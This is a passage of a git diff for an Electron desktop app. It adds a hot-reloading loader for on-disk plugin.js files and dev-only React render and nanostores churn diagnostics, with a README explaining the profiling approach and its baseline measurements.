+    return plugin.id
+  } catch (error) {
+    console.error(`[plugins] runtime load failed (${origin})`, error)
+    notifyError(error, `Plugin "${origin}" failed to load`)
+    publishPlugin({
+      id: origin,
+      name: origin,
+      kind: options.kind ?? 'disk',
+      file: options.file,
+      status: 'error',
+      error: error instanceof Error ? error.message : String(error)
+    })
+
+    return null
+  }
+}
+
+// ---------------------------------------------------------------------------
+// The on-disk plugin door: `<clawcodex home>/desktop-plugins/<name>/plugin.js`
+// (agent- or user-written). SELF-MAINTAINING — no reload ceremony:
+//  - each plugin.js is fs-watched (the preview watcher IPC, debounced in
+//    main): saving the file hot-reloads the plugin in place;
+//  - the directory itself is fs-watched too (watchDirectory IPC), so new
+//    folders load + removed ones unload on the change tick; older Electron
+//    shells without watchDirectory fall back to the slow visible-tab poll.
+// Panes land via placement adoption and STAY where the user drags them —
+// the tree treats not-yet-loaded pane ids as hidden, so boot and reload are
+// collapse -> appear, never a placeholder flash.
+// ---------------------------------------------------------------------------
+
+const DISK_POLL_MS = 5_000
+
+interface DiskPlugin {
+  file: string
+  /** Loaded plugin id (null while broken — kept so a fixing save reloads). */
+  id: null | string
+  watchId: null | string
+}
+
+const disk = new Map<string, DiskPlugin>()
+let watching = false
+let scanning = false
+
+async function loadDiskPlugin(name: string, file: string): Promise<void> {
+  const desktop = window.clawcodexDesktop!
+  const entry = disk.get(name)
+  const prevId = entry?.id
+
+  try {
+    const { text } = await desktop.readFileText(file)
+    const id = await loadRuntimePlugin(text, name, { file })
+
+    // A hot-edit that changes `plugin.id`: loadRuntimePlugin only disposes the
+    // NEW id, so unload the previous incarnation here or its contributions +
+    // inventory row orphan.
+    if (id && prevId && prevId !== id) {
+      unloadRuntimePlugin(prevId)
+      dropPlugin(prevId)
+    }
+
+    if (entry) {
+      entry.id = id ?? entry.id
+    }
+
+    // A fixing save under a different plugin id — drop the folder-named
+    // error record so the inventory shows one row, not a ghost.
+    if (id && id !== name) {
+      dropPlugin(name)
+    }
+  } catch {
+    // File vanished mid-read — the next scan reconciles.
+  }
+}
+
+async function scanDiskPlugins(): Promise<void> {
+  const desktop = window.clawcodexDesktop
+
+  // Re-entrancy guard: the 5s poll must not overlap a slow in-flight scan
+  // (reads/loads can exceed the interval).
+  if (!desktop || scanning) {
+    return
+  }
+
+  scanning = true
+
+  try {
+    // The plugin root is a LOCAL Electron path, resolved independently of the
+    // connected backend — a remote backend's clawcodex_home is a remote path and
+    // yields `undefined/desktop-plugins` here (#66899).
+    const root = await desktop.desktopPluginsRoot?.()
+
+    if (!root) {
+      return
+    }
+
+    const { entries } = await desktop.readDir(root)
+    const seen = new Set<string>()
+
+    for (const dir of entries.filter(e => e.isDirectory)) {
+      seen.add(dir.name)
+
+      if (disk.has(dir.name)) {
+        continue
+      }
+
+      const file = `${dir.path}/plugin.js`
+
+      try {
+        await desktop.readFileText(file)
+      } catch {
+        continue // No plugin.js (yet) — not a plugin folder.
+      }
+
+      const record: DiskPlugin = { file, id: null, watchId: null }
+      disk.set(dir.name, record)
+      await loadDiskPlugin(dir.name, file)
+
+      try {
+        record.watchId = (await desktop.watchPreviewFile(file)).id
+      } catch {
+        // Unwatchable — the poll still reconciles new folders; edits need a
+        // manual "Reload desktop plugins".
+      }
+    }
+
+    // Folder deleted -> plugin gone, cleanly (inventory row included).
+    for (const [name, record] of disk) {
+      if (seen.has(name)) {
+        continue
+      }
+
+      if (record.id) {
+        unloadRuntimePlugin(record.id)
+        dropPlugin(record.id)
+      }
+
+      dropPlugin(name)
+
+      if (record.watchId) {
+        void desktop.stopPreviewFileWatch(record.watchId)
+      }
+
+      disk.delete(name)
+    }
+  } catch {
+    // No desktop-plugins dir (or no gateway yet) — nothing to reconcile.
+  } finally {
+    scanning = false
+  }
+}
+
+/** Manual rescan (the ⌘K "Reload desktop plugins" fallback). */
+export const discoverRuntimePlugins = scanDiskPlugins
+
+/** Start the self-maintaining disk door: initial scan, per-file hot reload,
+ *  fs-watched folder reconciliation (poll fallback on older shells). Idempotent. */
+export function watchRuntimePlugins(): void {
+  const desktop = window.clawcodexDesktop
+
+  if (watching || !desktop) {
+    return
+  }
+
+  watching = true
+
+  let dirWatchId: null | string = null
+
+  desktop.onPreviewFileChanged(({ id }) => {
+    // Directory tick: a plugin folder appeared or vanished — reconcile.
+    if (dirWatchId && id === dirWatchId) {
+      void scanDiskPlugins()
+
+      return
+    }
+
+    for (const [name, record] of disk) {
+      if (record.watchId === id) {
+        void loadDiskPlugin(name, record.file)
+
+        return
+      }
+    }
+  })
+
+  const startDirWatch = async (): Promise<boolean> => {
+    if (!desktop.watchDirectory) {
+      return false
+    }
+
+    try {
+      // Same Electron-local root as the scanner — never the backend's
+      // clawcodex_home, which is a remote path in remote mode (#66899).
+      const root = await desktop.desktopPluginsRoot?.()
+
+      if (!root) {
+        return false
+      }
+
+      dirWatchId = (await desktop.watchDirectory(root)).id
+
+      return true
+    } catch {
+      // Dir missing (no plugins yet) or unwatchable — fall back to the poll,
+      // which also handles the dir being created later.
+      return false
+    }
+  }
+
+  void scanDiskPlugins()
+  void startDirWatch().then(watched => {
+    if (watched) {
+      return
+    }
+
+    const timer = window.setInterval(() => {
+      if (document.visibilityState !== 'visible') {
+        return
+      }
+
+      void scanDiskPlugins()
+
+      // The dir may have been created since — upgrade to the watch and retire
+      // this poll once it lands.
+      if (dirWatchId === null) {
+        void startDirWatch().then(upgraded => {
+          if (upgraded) {
+            window.clearInterval(timer)
+          }
+        })
+      }
+    }, DISK_POLL_MS)
+  })
+}
diff --git a/ui-desktop/src/contrib/types.ts b/ui-desktop/src/contrib/types.ts
new file mode 100644
index 000000000..c46ee3e99
--- /dev/null
+++ b/ui-desktop/src/contrib/types.ts
@@ -0,0 +1,43 @@
+import type { ReactNode } from 'react'
+
+/**
+ * Where a contribution came from. `'core'` is the app's own default UI;
+ * anything else is a plugin/extension id (e.g. `'plugin:kanban'`). This is the
+ * provenance tag that drives precedence and, later, the trust/capability gate
+ * (WoW-style taint: plugin-sourced contributions can be blocked from privileged
+ * actions unless granted).
+ */
+export type ContributionSource = 'core' | (string & {})
+
+/**
+ * The single, uniform primitive every surface consumes. A bar renders these as
+ * inline items via `<Slot>`; a dock renders them as stacked/tabbed panes via
+ * `<PaneHost>`. Same shape either way -- the host decides how to present them.
+ */
+export interface Contribution {
+  /** Stable id, unique within its area. Re-registering the same id replaces it. */
+  id: string
+  /** Namespaced area id this contribution targets, e.g. `'secondarySidebar'`. */
+  area: string
+  /** Provenance; defaults to `'core'` when omitted. */
+  source?: ContributionSource
+  /** Human label (pane tab / header). Optional for bar items. */
+  title?: string
+  /** Ascending sort key within the area; ties keep insertion order. */
+  order?: number
+  /** Dynamic visibility predicate. Omit for always-on.
+   *  NOTE: evaluated when the area's snapshot is (re)built — i.e. on a
+   *  register/remove in that area, NOT reactively. A `when()` that flips on
+   *  external state won't re-resolve on its own; trigger a registry mutation
+   *  (or don't rely on it flipping without one). */
+  when?: () => boolean
+  /** Soft disable without unregistering. `false` hides it. */
+  enabled?: boolean
+  /** Renders the contribution's content (UI contributions). */
+  render?: () => ReactNode
+  /**
+   * Declarative payload for data contributions (Family B): layout presets,
+   * themes, commands — anything consumed by an engine rather than rendered.
+   */
+  data?: unknown
+}
diff --git a/ui-desktop/src/debug/README.md b/ui-desktop/src/debug/README.md
new file mode 100644
index 000000000..5cae200ef
--- /dev/null
+++ b/ui-desktop/src/debug/README.md
@@ -0,0 +1,111 @@
+# Dev-only state diagnostics
+
+Two counters that answer, for any interaction: **what re-rendered, why, and
+which store pushed it?**
+
+```
+window.__RENDER_COUNTS__   what re-rendered, attributed to props / state / parent
+window.__ATOM_CHURN__      which store published it, and whether it mattered
+```
+
+Both are inert until `start()`, so the idle cost is one no-op branch per commit
+and per notify. Neither ships: `vite.config.ts` aliases `@/debug/dev-only` to a
+no-op module for any build that isn't the dev server (or `VITE_PERF_PROBE=1`).
+
+## Using it
+
+From the devtools console, while an agent streams:
+
+```js
+__RENDER_COUNTS__.start(); __ATOM_CHURN__.start()
+// ...let it run for a few seconds...
+__RENDER_COUNTS__.stop();  __ATOM_CHURN__.stop()
+console.table(__RENDER_COUNTS__.report())
+console.table(__ATOM_CHURN__.report())
+```
+
+The `wasted` column in each is the fix list:
+
+- **render `wasted`** — re-rendered with neither changed props nor changed hook
+  state, i.e. purely because a parent did. A `memo()` or a narrower subscription
+  removes it.
+- **atom `wasted`** — published a value deep-equal to the previous one.
+  `@nanostores/react` bails out on *reference* equality only, so this
+  re-renders every subscriber for nothing. This is the
+  "preserve reference identity on no-ops" rule in `apps/desktop/AGENTS.md`.
+
+Or as a gated measurement, driving 5 concurrent streaming tabs synthetically
+(no backend, no credits):
+
+```bash
+node scripts/perf/run.mjs render-churn --spawn --tiles 5 --tokens 240
+```
+
+## Why bippy, and not the obvious choices
+
+**React 19.2 removed `injectProfilingHooks` from react-dom.** Verified:
+`grep -c injectProfilingHooks node_modules/react-dom/cjs/react-dom-client.development.js`
+→ `0`. Only `onCommitFiberRoot` / `onPostCommitFiberRoot` remain. The entire
+`mark*` profiling family (`component-render-start`, `state-update`,
+`render-scheduled`) is dead on this stack — anything built on it is out.
+
+**`<Profiler>` cannot answer "did the sidebar re-render?"** React invokes
+`onRender` for *every* Profiler in a committed tree, including subtrees that
+bailed out. Counting those callbacks "proves" a re-render that never happened.
+`actualDuration` is not a discriminator either: a bailed-out subtree still
+reports a small nonzero duration, so there's no safe threshold. `didFiberRender`
+is the honest signal. (Note `app/chat/perf-probe.tsx` exports a `PerfProbe`
+Profiler wrapper that is used nowhere — that's why.)
+
+**react-scan** ships the right idea in its undocumented `react-scan/lite`
+subpath, but `lite` is a thin wrapper whose only imports are `bippy` and
+`bippy/source`. The package pulls ~217 transitive deps (babel, preact) and
+floats `react-grab` / `react-doctor` on `latest`, so installs aren't
+reproducible, and its main entry currently breaks Vite with a JSON
+import-attribute error (upstream issues #448, #467, both open). We take bippy
+directly: MIT, zero dependencies.
+
+## The import-order constraint
+
+`main.tsx` imports `@/debug/dev-only` **statically, above `react-dom`**. This is
+load-bearing, not stylistic.
+
+react-dom captures the devtools hook at **module init**, not at `createRoot`.
+Installing afterwards leaves a hook object in place but `bippy._renderers`
+empty, and every commit goes unseen. Verified both directions:
+
+| order | `_renderers` | commits |
+|---|---|---|
+| bippy installs first | 1 | 1 |
+| react-dom evaluates first | 0 | 0 |
+
+A dynamic `import()` behind an `import.meta.env.DEV` guard would resolve a
+microtask *after* main.tsx's static graph (react-dom included) had evaluated —
+too late. Hence a static import, with production exclusion handled by the
+build-time alias instead of tree-shaking.
+
+If you add a test that imports these counters, note the `ui` vitest project's
+`setupFiles` pulls in `@testing-library/react` (and thus react-dom) before any
+test body runs, so the hook can never install there. Use a config without
+`setupFiles`.
+
+## Baseline (5 tabs × 240 tokens, dev renderer, darwin-arm64)
+
+```
+sidebar_renders          6
+sidebar_wasted           0
+wasted_renders      10,432
+total_renders       78,385
+commits              1,566
+wasted_notifies          0
+```
+
+The sidebar hypothesis is **refuted**: 6 renders across the whole run, all
+attributable to hook state on genuine busy/needsInput edges, none wasted. The
+`stableArray` guards on `$workingSessionIds` / `$attentionSessionIds`
+(`store/session-states.ts:236-259`) are doing their job.
+
+The real cost is elsewhere — see `topRenders` in the scenario's `detail`.
+`$sessionStates` notified 1,200 times with **10 listeners** (fan-out 12,000)
+and zero wasted notifies, so the publishing side is honest; the waste is in
+components that re-render on a parent commit without their own inputs changing.
diff --git a/ui-desktop/src/debug/atom-churn.ts b/ui-desktop/src/debug/atom-churn.ts
new file mode 100644
index 000000000..4c78a012e
--- /dev/null
+++ b/ui-desktop/src/debug/atom-churn.ts
@@ -0,0 +1,132 @@
+// Dev-only nanostores churn counter — the state-side companion to
+// `render-counter.ts`. Render counts tell you WHAT re-rendered; this tells you
+// WHICH ATOM pushed the update, and whether the push was worth making.
+//
+// The headline metric is `wasted`: notifications whose new value is deep-equal
+// to the old one. `@nanostores/react`'s `useStore` bails out on REFERENCE
+// equality only (`snapshotRef.current === value`), so publishing a fresh array
+// or object with identical contents re-renders every subscriber for nothing.
+// That is the exact failure `apps/desktop/AGENTS.md` names: "Preserve reference
+// identity on no-ops."
+//
+// `listeners` is read from the store's own `lc` (listener count) at notify
+// time, because `onNotify` fires even when a store has zero subscribers — a
+// raw notify count over-reports. `notifies x listeners` is the real fan-out.
+
+import { onNotify, type Store } from 'nanostores'
+
+export interface AtomChurn {
+  /** Times the store notified its listeners. */
+  notifies: number
+  /**
+   * ...of those, how many pushed a value deep-equal to the previous one.
+   * Pure waste: every subscriber re-rendered and nothing actually changed.
+   */
+  wasted: number
+  /** Peak listener count seen at notify time (`store.lc`). */
+  peakListeners: number
+  /** Sum of listeners across notifications — the true re-render fan-out. */
+  fanout: number
+}
+
+const churn = new Map<string, AtomChurn>()
+const unsubscribes: Array<() => void> = []
+let recording = false
+
+const blank = (): AtomChurn => ({ fanout: 0, notifies: 0, peakListeners: 0, wasted: 0 })
+
+/** Structural equality, depth-capped so a long transcript array doesn't make
+ *  the instrumentation itself the bottleneck. Beyond the cap we compare by
+ *  reference, which under-reports waste rather than inventing it. */
+function equal(a: unknown, b: unknown, depth = 0): boolean {
+  if (Object.is(a, b)) {
+    return true
+  }
+
+  if (depth > 3 || typeof a !== 'object' || typeof b !== 'object' || a === null || b === null) {
+    return false
+  }
+
+  if (Array.isArray(a) !== Array.isArray(b)) {
+    return false
+  }
+
+  const ka = Object.keys(a as object)
+  const kb = Object.keys(b as object)
+
+  if (ka.length !== kb.length) {
+    return false
+  }
+
+  return ka.every(k => equal((a as Record<string, unknown>)[k], (b as Record<string, unknown>)[k], depth + 1))
+}
+
+/** Watch one store. Call at module scope for each atom you want attributed. */
+export function watchAtom(name: string, store: Store) {
+  const off = onNotify(store, ({ oldValue }) => {
+    if (!recording) {
+      return
+    }
+
+    const entry = churn.get(name) ?? blank()
+    // `lc` is nanostores' listener count — see node_modules/nanostores/atom/index.js.
+    const listeners = (store as unknown as { lc?: number }).lc ?? 0
+    const next = (store as unknown as { value?: unknown }).value
+
+    entry.notifies += 1
+    entry.fanout += listeners
+    entry.peakListeners = Math.max(entry.peakListeners, listeners)
+
+    if (equal(oldValue, next)) {
+      entry.wasted += 1
+    }
+
+    churn.set(name, entry)
+  })
+
+  unsubscribes.push(off)
+
+  return off
+}
+
+/** Rows sorted by wasted notifications, then fan-out — the fix list, in order. */
+function report(limit = 40) {
+  return [...churn.entries()]
+    .map(([name, c]) => ({ name, ...c }))
+    .sort((a, b) => b.wasted - a.wasted || b.fanout - a.fanout)
+    .slice(0, limit)
+}
+
+declare global {
+  interface Window {
+    __ATOM_CHURN__?: {
+      churn: Map<string, AtomChurn>
+      clear: () => void
+      start: () => void
+      stop: () => void
+      recording: () => boolean
+      report: (limit?: number) => Array<AtomChurn & { name: string }>
+      get: (name: string) => AtomChurn | undefined
+      /** Names of every watched store, whether or not it has notified. */
+      watched: () => string[]
+    }
+  }
+}
+
+if (typeof window !== 'undefined' && !window.__ATOM_CHURN__) {
+  window.__ATOM_CHURN__ = {
+    churn,
+    clear: () => churn.clear(),
+    get: name => churn.get(name),
+    recording: () => recording,
+    report,
+    start: () => {
+      churn.clear()
+      recording = true
+    },
+    stop: () => {
+      recording = false
+    },
+    watched: () => [...churn.keys()]
+  }
+}
diff --git a/ui-desktop/src/debug/dev-only.noop.ts b/ui-desktop/src/debug/dev-only.noop.ts
new file mode 100644
index 000000000..9c4595ee1
--- /dev/null
+++ b/ui-desktop/src/debug/dev-only.noop.ts
@@ -0,0 +1,8 @@
+// Production stand-in for `dev-only.ts`. `vite.config.ts` aliases the dev
+// entry to this module for any build that isn't the dev server, so the
+// diagnostics graph — and bippy with it — never reaches a shipped renderer.
+//
+// Keep this file free of imports. It exists precisely so the production
+// bundle contains nothing from `debug/`.
+
+export {}
diff --git a/ui-desktop/src/debug/dev-only.ts b/ui-desktop/src/debug/dev-only.ts
new file mode 100644
index 000000000..e052c2f14
--- /dev/null
+++ b/ui-desktop/src/debug/dev-only.ts
@@ -0,0 +1,19 @@
+// Dev-only diagnostics entry. Statically imported from `main.tsx` ABOVE the
+// `react-dom` import — that ordering is load-bearing and non-negotiable.
+//
+// react-dom captures the devtools hook at MODULE INIT, not at `createRoot`.
+// Verified: installing bippy after react-dom has evaluated yields
+// `renderers=0` and `commits=0` — the hook object exists but react-dom never
+// registered with it. A dynamic `import()` here would resolve a microtask
+// after main.tsx's static graph (react-dom included) had already evaluated,
+// so it must be a plain static import chain, whose evaluation order ESM
+// guarantees.
+//
+// Production builds don't tree-shake this away (a static side-effect import
+// can't be eliminated) — instead `vite.config.ts` aliases this module to
+// `dev-only.noop.ts` whenever the build isn't serving dev, so neither bippy
+// nor the counters reach a shipped renderer.
+
+import './index'
+
+export {}
diff --git a/ui-desktop/src/debug/index.ts b/ui-desktop/src/debug/index.ts
new file mode 100644
index 000000000..a79608584
--- /dev/null
+++ b/ui-desktop/src/debug/index.ts
@@ -0,0 +1,36 @@
+// Dev-only state diagnostics: one import, two counters.
+//
+//   window.__RENDER_COUNTS__  — what re-rendered, and why (props/state/parent)
+//   window.__ATOM_CHURN__     — which store published it, and whether it mattered
+//
+// Imported FIRST in `main.tsx`, before `react-dom`. That ordering is
+// load-bearing: react-dom decides at module-init whether a devtools hook
+// exists, so bippy must install during THIS module's evaluation. A dynamic
+// `import()` from main.tsx would resolve a microtask too late and every commit
+// would go unseen — hence a plain static import chain, whose evaluation order
+// ESM guarantees.
+//
+// Both counters are inert until `start()` is called, so the idle cost in dev is
+// a single no-op branch per commit / per notify.
+//
+// Typical session, from the devtools console:
+//
+//   __RENDER_COUNTS__.start(); __ATOM_CHURN__.start()
+//   // ...let an agent stream for a few seconds...
+//   __RENDER_COUNTS__.stop();  __ATOM_CHURN__.stop()
+//   console.table(__RENDER_COUNTS__.report())
+//   console.table(__ATOM_CHURN__.report())
+//
+// The `wasted` column in each is the fix list: components that re-rendered
+// with no changed input, and stores that published a value equal to the last.
+
+import './render-counter'
+// Live interaction profiler — arms on real resize/typing so we can measure the
+// app under REAL sessions instead of a synthetic scenario's toy transcripts.
+// window.__PERF_LIVE__.on() in the console, then just use the app.
+import './perf-live'
+import './right-pane-probe'
+
+import { watchSessionAtoms } from './watched-atoms'
+
+watchSessionAtoms()
diff --git a/ui-desktop/src/debug/perf-live.ts b/ui-desktop/src/debug/perf-live.ts
new file mode 100644
index 000000000..17a71a923
--- /dev/null
+++ b/ui-desktop/src/debug/perf-live.ts
@@ -0,0 +1,306 @@
+// Live interaction profiler — for driving the app by hand and seeing what the
+// app actually does under YOUR sessions, not a synthetic scenario's.
+//
+// The synthetic scenarios seed toy transcripts (short prose, no tool calls, no
+// code blocks). A real session is heavier in ways that matter, so a scenario
+// can report 57fps on a gesture that visibly lags in the real app. This closes
+// that gap by measuring the real thing.
+//
+// It arms itself on any pointerdown on a resize handle and on composer typing,
+// records frames + render attribution for the duration of the interaction, and
+// prints a table when the interaction ends. Idle cost is zero: nothing is
+// observed until an interaction starts.
+//
+//   window.__PERF_LIVE__.on()      start watching (also: ?perflive=1)
+//   window.__PERF_LIVE__.off()
+//   window.__PERF_LIVE__.last()    the most recent report as an object
+//
+// Dev-only; the whole debug/ graph is aliased out of production builds.
+
+interface Sample {
+  kind: string
+  ms: number
+  frames: number
+  fps: number
+  p95: number
+  worst: number
+  slow33: number
+  commits: number
+  top: Array<{ name: string; renders: number; wasted: number; totalMs: number }>
+  longFrames: LongFrame[]
+}
+
+/** One Long Animation Frame, attributed. `styleMs` is the engine's style+layout
+ *  time inside the frame; `scripts` names who ran JS and for how long. This is
+ *  the half the render counter cannot see — a frame can cost 900ms with almost
+ *  no React in it, and only LoAF says whether that was layout, a ResizeObserver
+ *  callback loop, or some timer. */
+interface LongFrame {
+  ms: number
+  styleMs: number
+  blockingMs: number
+  scripts: Array<{ invoker: string; ms: number; src: string }>
+}
+
+const RESIZE_SELECTOR =
+  '[role="separator"], [data-slot="pane-resize-handle"], [class*="cursor-col-resize"], [class*="cursor-row-resize"]'
+
+const TYPING_SELECTOR = '[contenteditable="true"], textarea, input[type="text"]'
+
+// A gesture is "over" once this long passes with no further input events.
+const IDLE_END_MS = 350
+// Don't report trivial blips (a click, a single keypress).
+const MIN_FRAMES = 6
+
+let watching = false
+
+let active: null | {
+  kind: string
+  startedAt: number
+  frames: number[]
+  last: number
+  raf: number
+  endTimer: ReturnType<typeof setTimeout> | null
+} = null
+
+let lastReport: null | Sample = null
+
+// Long Animation Frames observed while a gesture is active. LoAF entries name
+// the scripts inside each long frame and split out style/layout time — the
+// half of a frame the render counter cannot see.
+let longFrames: LongFrame[] = []
+
+const loafObserver =
+  typeof PerformanceObserver !== 'undefined' &&
+  PerformanceObserver.supportedEntryTypes?.includes('long-animation-frame')
+    ? new PerformanceObserver(list => {
+        if (!active) {
+          return
+        }
+
+        for (const entry of list.getEntries()) {
+          const e = entry as PerformanceEntry & {
+            blockingDuration?: number
+            styleAndLayoutStart?: number
+            renderStart?: number
+            scripts?: Array<{
+              duration: number
+              invoker?: string
+              invokerType?: string
+              sourceURL?: string
+              sourceFunctionName?: string
+            }>
+          }
+
+          longFrames.push({
+            blockingMs: Math.round(e.blockingDuration ?? 0),
+            ms: Math.round(e.duration),
+            scripts: (e.scripts ?? [])
+              .filter(s => s.duration >= 5)
+              .map(s => ({
+                invoker: `${s.invokerType ?? ''}:${s.invoker ?? s.sourceFunctionName ?? '?'}`,
+                ms: Math.round(s.duration),
+                src: (s.sourceURL ?? '').split('/').pop() ?? ''
+              })),
+            // styleAndLayoutStart -> frame end is the engine's style+layout tail.
+            styleMs: e.styleAndLayoutStart ? Math.round(e.startTime + e.duration - e.styleAndLayoutStart) : 0
+          })
+        }
+      })
+    : null
+
+const pct = (sorted: number[], p: number) =>
+  sorted.length ? sorted[Math.min(sorted.length - 1, Math.floor(sorted.length * p))] : 0
+
+function finish() {
+  if (!active) {
+    return
+  }
+
+  const { kind, startedAt, frames, raf } = active
+  active = null
+  cancelAnimationFrame(raf)
+  loafObserver?.disconnect()
+  const capturedLongFrames = longFrames
+  longFrames = []
+
+  const counter = window.__RENDER_COUNTS__
+  const commits = counter?.commits() ?? 0
+
+  const top = (counter?.report(12) ?? []).map(r => ({
+    name: r.name,
+    renders: r.renders,
+    wasted: r.wasted,
+    totalMs: r.totalMs
+  }))
+
+  counter?.stop()
+
+  if (frames.length < MIN_FRAMES) {
+    return
+  }
+
+  const total = frames.reduce((a, b) => a + b, 0)
+  const sorted = [...frames].sort((a, b) => a - b)
+
+  const report: Sample = {
+    commits,
+    fps: Math.round((frames.length / total) * 1000 * 10) / 10,
+    frames: frames.length,
+    kind,
+    longFrames: capturedLongFrames,
+    ms: Math.round(performance.now() - startedAt),
+    p95: Math.round(pct(sorted, 0.95) * 10) / 10,
+    slow33: frames.filter(f => f > 33).length,
+    top,
+    worst: Math.round(sorted[sorted.length - 1] * 10) / 10
+  }
+
+  lastReport = report
+
+  const headline =
+    `%c${kind}%c  ${report.fps}fps  ·  ${report.frames} frames in ${report.ms}ms  ·  ` +
+    `p95 ${report.p95}ms  worst ${report.worst}ms  ·  ${report.slow33} slow  ·  ${commits} commits`
+
+  console.log(
+    headline,
+    `background:${report.fps < 45 ? '#c0392b' : '#27ae60'};color:#fff;padding:1px 6px;border-radius:3px`,
+    'color:inherit'
+  )
+
+  if (top.length) {
+    console.table(top)
+  }
+
+  // The frame-engine side: what each long frame actually spent its time on.
+  for (const lf of capturedLongFrames.slice(0, 8)) {
+    const scripts = lf.scripts.map(s => `${s.invoker}@${s.src} ${s.ms}ms`).join('  |  ') || '(no script ≥5ms)'
+    console.log(`  ⏱ longframe ${lf.ms}ms  style+layout ${lf.styleMs}ms  block ${lf.blockingMs}ms  →  ${scripts}`)
+  }
+}
+
+function begin(kind: string) {
+  if (active) {
+    // Same gesture continuing — just push the end deadline out.
+    if (active.endTimer) {
+      clearTimeout(active.endTimer)
+    }
+
+    active.endTimer = setTimeout(finish, IDLE_END_MS)
+
+    return
+  }
+
+  window.__RENDER_COUNTS__?.start()
+
+  try {
+    // Buffered so a long frame already in flight when the gesture starts is
+    // still attributed to it.
+    loafObserver?.observe({ buffered: true, type: 'long-animation-frame' })
+  } catch {
+    // Older runtime without LoAF — headline still works, attribution is empty.
+  }
+
+  const now = performance.now()
+
+  const state = {
+    endTimer: setTimeout(finish, IDLE_END_MS) as ReturnType<typeof setTimeout> | null,
+    frames: [] as number[],
+    kind,
+    last: now,
+    raf: 0,
+    startedAt: now
+  }
+
+  const tick = () => {
+    if (active !== state) {
+      return
+    }
+
+    const t = performance.now()
+    state.frames.push(t - state.last)
+    state.last = t
+    state.raf = requestAnimationFrame(tick)
+  }
+
+  active = state
+  state.raf = requestAnimationFrame(tick)
+}
+
+function onPointerDown(event: PointerEvent) {
+  const target = event.target as Element | null
+
+  if (target?.closest?.(RESIZE_SELECTOR)) {
+    begin('resize')
+  }
+}
+
+function onPointerMove() {
+  if (active?.kind === 'resize') {
+    begin('resize')
+  }
+}
+
+function onKeyDown(event: KeyboardEvent) {
+  const target = event.target as Element | null
+
+  // Ignore pure modifiers and navigation — we want real text entry.
+  if (event.key.length !== 1 && event.key !== 'Backspace') {
+    return
+  }
+
+  if (target?.closest?.(TYPING_SELECTOR)) {
+    begin('typing')
+  }
+}
+
+function on() {
+  if (watching) {
+    return 'already watching'
+  }
+
+  watching = true
+  window.addEventListener('pointerdown', onPointerDown, true)
+  window.addEventListener('pointermove', onPointerMove, true)
+  window.addEventListener('keydown', onKeyDown, true)
+
+  console.log(
+    '%cperf-live%c armed — resize a pane or type in the composer; a report prints when you stop.',
+    'background:#5a7db0;color:#fff;padding:1px 6px;border-radius:3px',
+    'color:inherit'
+  )
+
+  return 'watching'
+}
+
+function off() {
+  watching = false
+  window.removeEventListener('pointerdown', onPointerDown, true)
+  window.removeEventListener('pointermove', onPointerMove, true)
+  window.removeEventListener('keydown', onKeyDown, true)
+  finish()
+
+  return 'stopped'
+}
+
+declare global {
+  interface Window {
+    __PERF_LIVE__?: {
+      on: () => string
+      off: () => string
+      last: () => null | Sample
+      watching: () => boolean
+    }
+  }
+}
+
+if (typeof window !== 'undefined' && !window.__PERF_LIVE__) {
+  window.__PERF_LIVE__ = { last: () => lastReport, off, on, watching: () => watching }
+
+  // Opt in for a whole session with ?perflive=1 so a reload keeps measuring.
+  if (new URLSearchParams(window.location.search).get('perflive') === '1') {
+    on()
+  }
+}
+
+export {}
diff --git a/ui-desktop/src/debug/render-counter.ts b/ui-desktop/src/debug/render-counter.ts
new file mode 100644
index 000000000..1bb7e6cf8
--- /dev/null
+++ b/ui-desktop/src/debug/render-counter.ts
@@ -0,0 +1,308 @@
+// Dev-only render counter — answers "what actually re-rendered, and why?".
+//
+// Loaded from `main.tsx` BEFORE `react-dom` (see the import-order note there).
+// That ordering is load-bearing: react-dom decides at module-init whether a
+// devtools hook exists, so installing after it has already initialised leaves
+// `bippy._renderers` empty and every commit goes unseen.
+//
+// Why not `<Profiler>`: React invokes `onRender` for EVERY Profiler in a
+// committed tree, including subtrees that bailed out. Counting those callbacks
+// "proves" the sidebar re-rendered when it did not. `actualDuration` is not a
+// discriminator either — a bailed-out subtree still reports a small nonzero
+// duration. `didFiberRender` is the honest signal.
+//
+// Why not react-scan: its `lite` subpath is a thin wrapper over bippy, while
+// the package pulls ~217 transitive deps (babel, preact) and floats
+// `react-grab`/`react-doctor` on `latest`, which makes installs
+// non-reproducible and breaks Vite with a JSON import-attribute error.
+
+import { didFiberRender, type Fiber, getDisplayName, instrument, isCompositeFiber, traverseRenderedFibers } from 'bippy'
+
+/** Why a component re-rendered, attributed per commit. */
+export interface RenderRecord {
+  /** Commits in which this component actually re-rendered (mount excluded). */
+  renders: number
+  /** ...of those, how many had at least one changed prop reference. */
+  propsChanged: number
+  /** ...of those, how many had changed hook state (useState/useMemo/store). */
+  stateChanged: number
+  /**
+   * ...of those, how many consumed a context whose value changed. `memo()`
+   * cannot block these — the fix is to narrow or split the provider, not to
+   * add a memo boundary.
+   */
+  contextChanged: number
+  /**
+   * ...of those, how many had NEITHER changed props, changed state, nor a
+   * changed context. These re-rendered purely because a parent did — the
+   * wasted work a `memo()` or a narrower store subscription would eliminate.
+   */
+  wasted: number
+  /** Sum of `actualDuration` across counted renders, in ms. */
+  totalMs: number
+}
+
+const counts = new Map<string, RenderRecord>()
+let commits = 0
+let recording = false
+
+// explain() state: while set, every wasted render of this component walks up
+// the fiber tree to find the ancestor whose props/state/context actually
+// changed — the origin of the cascade.
+let explainTarget: null | string = null
+const explainCauses = new Map<string, number>()
+
+const blank = (): RenderRecord => ({
+  contextChanged: 0,
+  propsChanged: 0,
+  renders: 0,
+  stateChanged: 0,
+  totalMs: 0,
+  wasted: 0
+})
+
+/** Did any prop's reference identity change between the two fiber versions? */
+function propsChanged(fiber: Fiber): boolean {
+  const prev = fiber.alternate?.memoizedProps as Record<string, unknown> | null | undefined
+  const next = fiber.memoizedProps as Record<string, unknown> | null | undefined
+
+  if (!prev || !next) {
+    return false
+  }
+
+  for (const key of Object.keys(next)) {
+    if (!Object.is(prev[key], next[key])) {
+      return true
+    }
+  }
+
+  return Object.keys(prev).length !== Object.keys(next).length
+}
+
+/** Did any hook's memoizedState change? Covers useState, useSyncExternalStore
+ *  (so nanostores `useStore`), useMemo, and useReducer alike. */
+function stateChanged(fiber: Fiber): boolean {
+  return changedHookIndices(fiber).length > 0
+}
+
+/** Indices (source order) of the hooks whose memoizedState changed. The index
+ *  maps straight onto the component's hook call order, so "hook #3 changed"
+ *  identifies the exact useStore/useState line without guessing. */
+function changedHookIndices(fiber: Fiber): number[] {
